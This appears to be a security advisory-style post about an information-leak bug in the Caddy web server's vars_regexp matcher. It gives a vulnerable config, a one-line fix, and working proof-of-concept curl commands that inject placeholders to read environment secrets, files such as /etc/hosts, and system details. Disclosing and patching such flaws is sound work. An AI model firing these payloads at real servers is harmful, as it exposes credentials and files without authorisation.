Listen to this Post
The vulnerability resides in the `vars_regexp` matcher (vars.go:337) which double-expands user-controlled input through the Caddy replacer. When a placeholder like `{http.request.header.X-Input}` is used as the key in vars_regexp, the header value is first resolved normally (line 318). Then, due to a bug introduced by PR 5408, the resolved value is passed through `repl.ReplaceAll()` again (line 337), causing any nested placeholders such as {env.}, {file.}, or `{system.}` injected by an attacker to be evaluated. This leads to leakage of environment variables, file contents (up to 1MB), and system information. In contrast, `header_regexp` and `path_regexp` do not perform this second expansion, making the behavior inconsistent. The issue affects all versions since PR 5408 was merged. A one-line fix is proposed to remove the redundant `ReplaceAll()` call, aligning `vars_regexp` with other matchers.
Platform: Caddy
Version: v2.7.0+
Vulnerability: Double expansion info leak
Severity: Critical
date: 2026-02-18
Prediction: Within one week
What Undercode Say:
The vulnerability is easily exploitable if the Caddy configuration uses `vars_regexp` with a placeholder key that reflects user input. Below are the PoC steps and code.
Configuration (config.json):
{
"admin": {"disabled": true},
"apps": {
"http": {
"servers": {
"srv0": {
"listen": [":8080"],
"routes": [
{
"match": [
{
"vars_regexp": {
"{http.request.header.X-Input}": {
"name": "leak",
"pattern": ".+"
}
}
}
],
"handle": [
{
"handler": "static_response",
"body": "Leaked: {http.regexp.leak.0}"
}
]
},
{
"handle": [
{
"handler": "static_response",
"body": "No match",
"status_code": "200"
}
]
}
]
}
}
}
}
}
Start Caddy with a secret:
export SECRET_API_KEY=sk-PRODUCTION-abcdef123456 caddy run --config config.json
Exploit commands:
Leak environment variable
curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080
Leak specific secret
curl -H 'X-Input: {env.SECRET_API_KEY}' http://127.0.0.1:8080
Leak file contents
curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080
Leak system info
curl -H 'X-Input: {system.hostname}' http://127.0.0.1:8080
Output examples:
Leaked: /Users/test Leaked: sk-PRODUCTION-abcdef123456 Leaked: Leaked: my-hostname
Suggested fix (one-line diff):
a/modules/caddyhttp/vars.go
+++ b/modules/caddyhttp/vars.go
@@ -334,7 +334,7 @@
varStr = fmt.Sprintf("%v", vv)
}
- valExpanded := repl.ReplaceAll(varStr, "")
+ valExpanded := varStr
if match := val.Match(valExpanded, repl); match {
return match, nil
}
Exploit:
An attacker sends a crafted HTTP request with a header containing Caddy placeholder syntax (e.g., {env.DATABASE_URL}). If the server uses `vars_regexp` with a key like `{http.request.header.X-Input}` and reflects the captured group in the response, the nested placeholder is expanded, leaking sensitive data.
Protection from this CVE:
- Apply the one-line patch provided above.
- As a workaround, avoid using `vars_regexp` with placeholder keys that can be controlled by user input (e.g., do not use `{http.request.header.}` as a key). Use `header_regexp` instead, which is not vulnerable.
- If patching is not immediate, disable any routes that use `vars_regexp` with user-controlled placeholders.
Impact:
Successful exploitation leads to information disclosure, including:
- Environment variables (e.g.,
DATABASE_URL,AWS_SECRET_ACCESS_KEY) - File contents up to 1MB (e.g.,
/etc/passwd,/proc/self/environ) - System information (e.g., hostname, OS, working directory)
This can compromise sensitive credentials and system details, potentially leading to further attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

